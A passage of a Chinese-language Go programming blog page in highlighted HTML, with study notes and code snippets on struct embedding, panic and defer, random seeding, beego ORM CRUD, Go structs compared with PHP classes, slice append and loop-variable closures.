class="string">"Jerry"</span>&#125;</span><br><span class="line"><span class="comment">// 按照结构体声明顺序</span></span><br><span class="line">peter := Human&#123;<span class="string">"Peter"</span>, <span class="number">34</span>&#125;</span><br><span class="line"><span class="comment">// 通过 . 访问</span></span><br><span class="line">fmt.Printf(<span class="string">"%s is %d old\n"</span>, tom.name, tom.age)</span><br><span class="line"></span><br><span class="line">type Staff struct &#123;</span><br><span class="line">    Human <span class="comment">// 隐式的引入 Human 的字段</span></span><br><span class="line">    wage int</span><br><span class="line">    age float32 <span class="comment">// 覆盖 Human 的 age</span></span><br><span class="line">&#125;</span><br><span class="line">tom := Staff&#123;Human&#123;<span class="string">"Tom"</span>, <span class="number">18</span>&#125;, <span class="number">1000</span>, <span class="number">18.5</span>&#125;</span><br><span class="line">jerr := Staff&#123;<span class="attr">Human</span>:Human&#123;<span class="attr">age</span>:<span class="number">32</span>, <span class="attr">name</span>:<span class="string">"Jerr"</span>&#125;, <span class="attr">wage</span>: <span class="number">2000</span>, <span class="attr">age</span>: <span class="number">32.5</span>&#125;</span><br><span class="line">fmt.Printf(<span class="string">"%s is %f old，%d years, wage is %d"</span>, tom.name, tom.Human.age, tom.age, tom.wage)</span><br><span class="line">fmt.Printf(<span class="string">"%s is %f old，%d years, wage is %d"</span>, jerr.name, jerr.Human.age, jerr.age, jerr.wage)</span><br><span class="line">type Human struct &#123;</span><br><span class="line">    name string</span><br><span class="line">    age int</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">type Employee struct &#123;</span><br><span class="line">    Human</span><br><span class="line">    wage int</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">func (h *Human) Say() &#123;</span><br><span class="line">    fmt.Printf(<span class="string">"Hi, I am %s, My age is %d"</span>, h.name, h.age)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Employee 重写 Say</span></span><br><span class="line">func (e *Employee) Say() &#123;</span><br><span class="line">    fmt.Printf(<span class="string">"Hi, I am %s, %d old year, wage is %d per mothn"</span>, e.name, e.age, e.wage)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="异常处理"><a href="#异常处理" class="headerlink" title="异常处理"></a>异常处理</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">func TestPanic(t *testing.T) &#123;</span><br><span class="line">    defer func() &#123;</span><br><span class="line">        fmt.Println(<span class="string">"最后结果依旧执行!"</span>) <span class="comment">// 这一部分的代码依旧执行</span></span><br><span class="line">    &#125;()</span><br><span class="line">    fmt.Println(<span class="string">"执行开始"</span>)</span><br><span class="line">    panic(errors.New(<span class="string">"错误信息!"</span>))</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// 输出大致结果如下</span></span><br><span class="line">开始</span><br><span class="line">最后结果依旧执行!</span><br><span class="line">--- FAIL: TestPanic (<span class="number">0.00</span>s)</span><br><span class="line">panic: 错误信息! [recovered]</span><br><span class="line">panic: 错误信息!</span><br></pre></td></tr></table></figure>
<h3 id="rand-Intn-生成的是伪随机数"><a href="#rand-Intn-生成的是伪随机数" class="headerlink" title="rand.Intn () 生成的是伪随机数"></a>rand.Intn () 生成的是伪随机数</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">rand.Intn() 函数是个伪随机函数, 不管运行多少次都只会返回同样的随机数, 因为它默认的资源就是单一值, 所以必须调用 rand.Seed(), 并且传入一个变化的值作为参数, 如 time.Now().UnixNano() , 就是可以生成时刻变化的值.</span><br><span class="line"></span><br><span class="line">package main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (<span class="string">"fmt"</span></span><br><span class="line">        <span class="string">"math/rand"</span></span><br><span class="line">        <span class="string">"time"</span>)</span><br><span class="line"></span><br><span class="line">func main() &#123;</span><br><span class="line">    <span class="comment">// 初始化随机数的资源库, 如果不执行这行, 不管运行多少次都返回同样的值https://learnku.com/articles/26011</span></span><br><span class="line">    rand.Seed(time.Now().UnixNano())</span><br><span class="line">    fmt.Println(<span class="string">"A number from 1-100"</span>, rand.Intn(<span class="number">81</span>))</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="beego-框架-model-curd"><a href="#beego-框架-model-curd" class="headerlink" title="beego 框架 model curd"></a>beego 框架 model curd</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br></pre></td><td class="code"><pre><span class="line">定义要连接的数据库 main.go https:<span class="comment">//learnku.com/articles/26029#topnav</span></span><br><span class="line"></span><br><span class="line">package  main</span><br><span class="line"><span class="keyword">import</span>  (</span><br><span class="line">  _  <span class="string">"newgo/routers"</span></span><br><span class="line">  <span class="string">"github.com/astaxie/beego"</span></span><br><span class="line">  <span class="string">"github.com/astaxie/beego/orm"</span></span><br><span class="line">  _  <span class="string">"github.com/go-sql-driver/mysql"</span></span><br><span class="line">)</span><br><span class="line">func  init()  &#123;</span><br><span class="line">  orm.RegisterDriver(<span class="string">"mysql"</span>,  orm.DRMySQL)</span><br><span class="line">  orm.RegisterDataBase(<span class="string">"default"</span>,  <span class="string">"mysql"</span>,  <span class="string">"root:root@tcp(127.0.0.1:3306)/go?charset=utf8"</span>)</span><br><span class="line">&#125;</span><br><span class="line">func  main()  &#123;</span><br><span class="line">  beego.Run()</span><br><span class="line">&#125;</span><br><span class="line">定义路由 router.go</span><br><span class="line"></span><br><span class="line">beego.Router(<span class="string">"/type"</span>, &amp;controllers.ClassifyController&#123;&#125;, <span class="string">"GET:Type"</span>)</span><br><span class="line">beego.Router(<span class="string">"/classifyinsert"</span>, &amp;controllers.ClassifyController&#123;&#125;, <span class="string">"POST:ClassifyInsert"</span>)</span><br><span class="line">beego.Router(<span class="string">"/classifyupdate"</span>, &amp;controllers.ClassifyController&#123;&#125;, <span class="string">"GET:ClassifyUpdate"</span>)</span><br><span class="line">beego.Router(<span class="string">"/classifysave"</span>, &amp;controllers.ClassifyController&#123;&#125;, <span class="string">"POST:ClassifySave"</span>)</span><br><span class="line">beego.Router(<span class="string">"/classifydel"</span>, &amp;controllers.ClassifyController&#123;&#125;, <span class="string">"GET:ClassifyDel"</span>)</span><br><span class="line">model书写</span><br><span class="line"></span><br><span class="line">package  models</span><br><span class="line"><span class="keyword">import</span>  (</span><br><span class="line">  <span class="string">"github.com/astaxie/beego/orm"</span></span><br><span class="line">)</span><br><span class="line">type  Classify  struct  &#123;</span><br><span class="line">  Id  int</span><br><span class="line">  Name  string</span><br><span class="line">  Content  string</span><br><span class="line">&#125;</span><br><span class="line">func  init()  &#123;</span><br><span class="line">  orm.RegisterModel(<span class="keyword">new</span>(Classify))</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">//增加操作</span></span><br><span class="line">func  InsertClassify(name  string,  content  string)  (int64,  error)  &#123;</span><br><span class="line">  o  :=  orm.NewOrm()</span><br><span class="line">  <span class="keyword">var</span>  clasinfo  Classify</span><br><span class="line">  clasinfo.Name  =  name</span><br><span class="line">  clasinfo.Content  =  content</span><br><span class="line">  id,  <span class="attr">err</span>  :=  o.Insert(&amp;clasinfo)</span><br><span class="line">  <span class="keyword">return</span>  id,  err</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">//删除操作</span></span><br><span class="line">func  ClassifyDel(id  int)  ([]Classify,  int64,  error)  &#123;</span><br><span class="line">  o  :=  orm.NewOrm()</span><br><span class="line">  <span class="keyword">var</span>  lists  []Classify</span><br><span class="line">  num,  <span class="attr">err</span>  :=  o.QueryTable(<span class="string">"classify"</span>).Filter(<span class="string">"Id"</span>,  id).Delete()</span><br><span class="line">  o.QueryTable(<span class="string">"inventory"</span>).Filter(<span class="string">"Cid"</span>,  id).Delete()</span><br><span class="line">  <span class="keyword">return</span>  lists,  num,  err</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">//展示</span></span><br><span class="line">func  ClassifyList()  ([]Classify,  int64,  error)  &#123;</span><br><span class="line">  o  :=  orm.NewOrm()</span><br><span class="line">  <span class="keyword">var</span>  lists  []Classify</span><br><span class="line">  num,  <span class="attr">err</span>  :=  o.QueryTable(<span class="string">"classify"</span>).All(&amp;lists)</span><br><span class="line">  <span class="keyword">return</span>  lists,  num,  err</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">//修改</span></span><br><span class="line">func  ClassifyUpdate(id  int,  name  string,  content  string)  ([]Classify,  int64,  error)  &#123;</span><br><span class="line">  o  :=  orm.NewOrm()</span><br><span class="line">  <span class="keyword">var</span>  lists  []Classify</span><br><span class="line">  num,  <span class="attr">err</span>  :=  o.QueryTable(<span class="string">"classify"</span>).Filter(<span class="string">"Id"</span>,  id).Update(orm.Params&#123;</span><br><span class="line">  <span class="string">"name"</span>:  name,</span><br><span class="line">  <span class="string">"content"</span>:  content,</span><br><span class="line">  &#125;)</span><br><span class="line">  <span class="keyword">return</span>  lists,  num,  err</span><br><span class="line">&#125;</span><br><span class="line">控制器</span><br><span class="line"></span><br><span class="line">package  controllers</span><br><span class="line"><span class="keyword">import</span>  (</span><br><span class="line">  <span class="string">"fmt"</span></span><br><span class="line">  <span class="string">"newgo/models"</span></span><br><span class="line">  <span class="string">"strings"</span></span><br><span class="line">  <span class="string">"github.com/astaxie/beego/orm"</span></span><br><span class="line">  <span class="string">"github.com/astaxie/beego"</span></span><br><span class="line">)</span><br><span class="line">type  ClassifyController  struct  &#123;</span><br><span class="line">  beego.Controller</span><br><span class="line">&#125;</span><br><span class="line">func  (c  *ClassifyController)  Get()  &#123;</span><br><span class="line">  c.TplName  =  <span class="string">"index.html"</span></span><br><span class="line">&#125;</span><br><span class="line">func  (c  *ClassifyController)  Type()  &#123;</span><br><span class="line">  list,  num,  <span class="attr">err</span>  :=  models.ClassifyList()</span><br><span class="line">  <span class="keyword">if</span>  err  ==  nil  &#123;</span><br><span class="line">  fmt.Println(list)</span><br><span class="line">  fmt.Println(num)</span><br><span class="line">  &#125;</span><br><span class="line">  c.Data[<span class="string">"comment"</span>]  =  list</span><br><span class="line">  fmt.Println(list)</span><br><span class="line">  c.TplName  =  <span class="string">"type.html"</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">//添加post</span></span><br><span class="line">func  (c  *ClassifyController)  ClassifyInsert()  &#123;</span><br><span class="line">  content  :=  strings.TrimSpace(c.GetString(<span class="string">"content"</span>))</span><br><span class="line">  name  :=  strings.TrimSpace(c.GetString(<span class="string">"name"</span>))</span><br><span class="line">  models.InsertClassify(name,  content)</span><br><span class="line">  c.Ctx.Redirect(<span class="number">302</span>,  <span class="string">"/type"</span>)</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">//修改get展示</span></span><br><span class="line">func  (c  *ClassifyController)  ClassifySave()  &#123;</span><br><span class="line">  id,  <span class="attr">_</span>  :=  c.GetInt(<span class="string">"id"</span>)</span><br><span class="line">  fmt.Println(id)</span><br><span class="line">  content  :=  strings.TrimSpace(c.GetString(<span class="string">"content"</span>))</span><br><span class="line">  name  :=  strings.TrimSpace(c.GetString(<span class="string">"name"</span>))</span><br><span class="line">  models.ClassifyUpdate(id,  name,  content)</span><br><span class="line">  c.Ctx.Redirect(<span class="number">302</span>,  <span class="string">"/type"</span>)</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">//删除</span></span><br><span class="line">func  (c  *ClassifyController)  ClassifyDel()  &#123;</span><br><span class="line">  id,  <span class="attr">_</span>  :=  c.GetInt(<span class="string">"id"</span>)</span><br><span class="line">  models.ClassifyDel(id)</span><br><span class="line">  c.Ctx.WriteString(<span class="string">"200"</span>)</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">//修改post方法</span></span><br><span class="line">func  (c  *ClassifyController)  ClassifyUpdate()  &#123;</span><br><span class="line">  id,  <span class="attr">_</span>  :=  c.GetInt(<span class="string">"id"</span>)</span><br><span class="line">  o  :=  orm.NewOrm()</span><br><span class="line">  type  Comment  struct  &#123;</span><br><span class="line">  Id  int</span><br><span class="line">  Name  string</span><br><span class="line">  Content  string</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">var</span>  comments  []Comment</span><br><span class="line">  <span class="keyword">var</span>  com  []Comment</span><br><span class="line">  num,  <span class="attr">err</span>  :=  o.Raw(<span class="string">"select  *  from  classify  where  id=?"</span>,  id).QueryRows(&amp;comments)</span><br><span class="line">  o.Raw(<span class="string">"select  *  from  classify"</span>).QueryRows(&amp;com)</span><br><span class="line">  <span class="keyword">if</span>  err  ==  nil  &#123;</span><br><span class="line">  fmt.Println(num)</span><br><span class="line">  fmt.Println(comments)</span><br><span class="line">  fmt.Println(com)</span><br><span class="line">  c.Data[<span class="string">"updates"</span>]  =  comments</span><br><span class="line">  c.Data[<span class="string">"comment"</span>]  =  com</span><br><span class="line">  &#125;  <span class="keyword">else</span>  &#123;</span><br><span class="line">  fmt.Println(<span class="string">"查询报错"</span>)</span><br><span class="line">  &#125;</span><br><span class="line">  c.TplName  =  <span class="string">"type.html"</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="php-go的类"><a href="#php-go的类" class="headerlink" title="php go的类"></a>php go的类</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">namespace App;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Animal</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    public $name;</span><br><span class="line">    public $height;</span><br><span class="line">    public $weight;</span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params">$name, $height, $weight</span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $<span class="keyword">this</span>-&gt;name = $name;</span><br><span class="line">        $<span class="keyword">this</span>-&gt;height = $height;</span><br><span class="line">        $<span class="keyword">this</span>-&gt;weight = $weight;</span><br><span class="line">    &#125;</span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">getInfo</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> [</span><br><span class="line">            <span class="string">'name'</span>   =&gt; $<span class="keyword">this</span>-&gt;name,</span><br><span class="line">            <span class="string">'height'</span> =&gt; $<span class="keyword">this</span>-&gt;height,</span><br><span class="line">            <span class="string">'weight'</span> =&gt; $<span class="keyword">this</span>-&gt;weight,</span><br><span class="line">        ];</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">//https://learnku.com/articles/26056</span></span><br><span class="line">package main</span><br><span class="line">type Animal struct &#123;</span><br><span class="line">    Name string</span><br><span class="line">    Height uint</span><br><span class="line">    Weight uint</span><br><span class="line">&#125;</span><br><span class="line">func NewAnimal(name string, height, weight uint) Animal &#123;</span><br><span class="line">    <span class="keyword">return</span> Animal&#123;</span><br><span class="line">        Name: name,</span><br><span class="line">        Height: height,</span><br><span class="line">        Weight: weight,</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">func (a *Animal) GetInfo() map[string]interface&#123;&#125; &#123;</span><br><span class="line">    <span class="keyword">return</span> map[string]interface&#123;&#125;&#123;</span><br><span class="line">        <span class="string">"name"</span>: a.Name,</span><br><span class="line">        <span class="string">"height"</span>: a.Height,</span><br><span class="line">        <span class="string">"weight"</span>: a.Weight,</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="Go-for-PHP-Developers-Structs-vs-Classes"><a href="#Go-for-PHP-Developers-Structs-vs-Classes" class="headerlink" title="Go for PHP Developers: Structs vs Classes"></a>Go for PHP Developers: Structs vs Classes</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line">package main</span><br><span class="line">type Animal struct &#123;</span><br><span class="line">    Name string</span><br><span class="line">    Height uint</span><br><span class="line">    Weight uint</span><br><span class="line">&#125;</span><br><span class="line">func NewAnimal(name string, height, weight uint) Animal &#123;</span><br><span class="line">    <span class="keyword">return</span> Animal&#123;</span><br><span class="line">        Name: name,</span><br><span class="line">        Height: height,</span><br><span class="line">        Weight: weight,</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">//https://learnku.com/articles/26056#reply85350 定义不同类似的结构体</span></span><br><span class="line">func (a *Animal) GetInfo() map[string]interface&#123;&#125; &#123;</span><br><span class="line">    <span class="keyword">return</span> map[string]interface&#123;&#125;&#123;</span><br><span class="line">        <span class="string">"name"</span>: a.Name,</span><br><span class="line">        <span class="string">"height"</span>: a.Height,</span><br><span class="line">        <span class="string">"weight"</span>: a.Weight,</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">package main</span><br><span class="line">type AnimalContract interface &#123;</span><br><span class="line">    GetInfo() map[string]interface&#123;&#125;</span><br><span class="line">&#125;</span><br><span class="line">type Animal struct &#123;</span><br><span class="line">    <span class="comment">// Struct def...</span></span><br><span class="line">&#125;</span><br><span class="line">func (a *Animal) GetInfo() map[string]interface&#123;&#125; &#123;</span><br><span class="line">    <span class="comment">// Method body... 继承AnimalContract 如果我们定义一个定义该接口的结构，它将隐式继承它。</span></span><br><span class="line">&#125;</span><br><span class="line">package main</span><br><span class="line"><span class="keyword">import</span> <span class="string">"fmt"</span></span><br><span class="line">func main()&#123;</span><br><span class="line">   <span class="keyword">var</span> array = [<span class="number">9</span>]interface&#123;&#125;&#123;<span class="number">1</span>,<span class="number">3</span>,<span class="number">4</span>,<span class="number">6</span>,<span class="number">7</span>,<span class="number">8</span>,<span class="number">9</span>,<span class="number">10</span>,<span class="string">"index"</span>&#125;</span><br><span class="line">   fmt.Print(array)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="append-扩容"><a href="#append-扩容" class="headerlink" title="append 扩容"></a>append 扩容</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">package array</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line">    <span class="string">"fmt"</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * arr 底层扩容知识点https://learnku.com/articles/27630#topnav</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line">func ArrayAppend() []int &#123;</span><br><span class="line">    arr := make([]int,<span class="number">5</span>)</span><br><span class="line">    fmt.Printf(<span class="string">"arr.len: %d; arr.cap: %d \n"</span>, len(arr),cap(arr))</span><br><span class="line">    arr = append(arr,<span class="number">10</span>)</span><br><span class="line">    <span class="comment">//问现在 arr 结果是什么</span></span><br><span class="line">    fmt.Printf(<span class="string">"arr.len: %d; arr.cap: %d \n"</span>, len(arr),cap(arr))</span><br><span class="line">    <span class="keyword">return</span> arr</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="go-build"><a href="#go-build" class="headerlink" title="go build"></a>go build</h3><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">工作区是 Go 便捷管理项目的方式。一言以蔽之，它就是你系统上的一个目录，Go 可以在此 查找源码 文件，管理依赖包 还有 分发二进制文件。 当 Go 程序命中 <span class="keyword">import</span> 语句，它就会去 Go 标准库 (*$GOROOT/src*) 中寻找响应的包。如果没找到，然后 Go 就会引用环境变量 GOPATH ，它是 Go 工作区目录的路径，然后再去 $GOPATH/src 目录下寻找这个包。</span><br><span class="line"></span><br><span class="line">你可以按需指定多个工作区，只要你保证 GOPATH 环境变量指向你的工作区目录即可。</span><br><span class="line">一个 Go 工作区目录必须有三个子目录也就是: src, pkg and bin</span><br><span class="line">src 目录包含 Package. Package 包括一个包含 Go 源代码 (*.go* files) 。 任何使用 <span class="string">'go get'</span> 命令安装的包也将驻留在这里 (及其依赖包)。</span><br><span class="line"></span><br><span class="line">在 Go 中，每个程序都包含在一个包中。 因此，无论何时您将使用新的 Go 项目，您都需要在 $GOPATH/src 中创建新目录并向上工作。</span><br><span class="line">当执行 go run hello.go 命令时，Go 编译器会首先编译 hello.go 文件，然后执行里面的二进制代码。</span><br><span class="line"></span><br><span class="line">Go 程序支持输出二进制文件，执行 go build &lt;package-name&gt; (main 包) 或 go build program/path.go 命令即可在当前文件夹创建二进制文件。</span><br><span class="line">执行 go install 命令就可以创建这些文件。 go install 命令会触发底层的 go build 命令，然后将这些文件保存到 bin 目录中。通常情况下，这个目录是在系统的可执行路径中。因此，这个目录中的所有文件都是可以通过终端来操作的。</span><br><span class="line">https:<span class="comment">//learnku.com/golang/t/26863</span></span><br><span class="line">go run main.go </span><br><span class="line">go build main.go</span><br><span class="line">go install test #main.go在test目录</span><br></pre></td></tr></table></figure>
<h3 id="for-循环迭代变量"><a href="#for-循环迭代变量" class="headerlink" title="for 循环迭代变量"></a>for 循环迭代变量</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> slice []func()</span><br><span class="line"></span><br><span class="line">func main() &#123;</span><br><span class="line">	sli := []int&#123;<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>&#125;</span><br><span class="line">	<span class="keyword">for</span> _, <span class="attr">v</span> := range sli &#123;</span><br><span class="line">		fmt.Println(&amp;v)</span><br><span class="line">		slice = append(slice, func()&#123;</span><br><span class="line">			fmt.Println(v * v) <span class="comment">// 直接打印结果</span></span><br><span class="line">		&#125;)</span><br><span class="line">	&#125;</span><br><span class="line">	<span class="comment">//v 在 for 循环引进的一个块作用域内进行声明。在循环里创建的所有函数变量共享相同的变量，就是一个可访问的存储位置，而不是固定的值。(你会惊奇的发现 &amp;v 的内存地址是一样的)https://www.njphper.com/posts/974e86a6.html</span></span><br><span class="line">	<span class="keyword">for</span> _, <span class="attr">val</span>  := range slice &#123;</span><br><span class="line">		val()</span><br><span class="line">	&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// 输出 25 25 25 25 25</span></span><br><span class="line"><span class="keyword">var</span> slice []func()</span><br><span class="line"></span><br><span class="line">func main() &#123;</span><br><span class="line">	sli := []int&#123;<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>&#125;</span><br><span class="line">	<span class="keyword">for</span> _, <span class="attr">v</span> := range sli &#123;</span><br><span class="line">	    temp := v <span class="comment">// 其实很简单 引入一个临时局部变量就可以了，这样就可以将每次的值存储到该变量地址上</span></span><br><span class="line">		fmt.Println(&amp;temp) <span class="comment">// 这里内存地址是不同的</span></span><br><span class="line">		slice = append(slice, func()&#123;</span><br><span class="line">			fmt.Println(temp *  temp) <span class="comment">// 直接打印结果</span></span><br><span class="line">		&#125;)</span><br><span class="line">	&#125;</span><br><span class="line">	</span><br><span class="line">	<span class="keyword">for</span> _, <span class="attr">val</span>  := range slice &#123;</span><br><span class="line">		val()</span><br><span class="line">	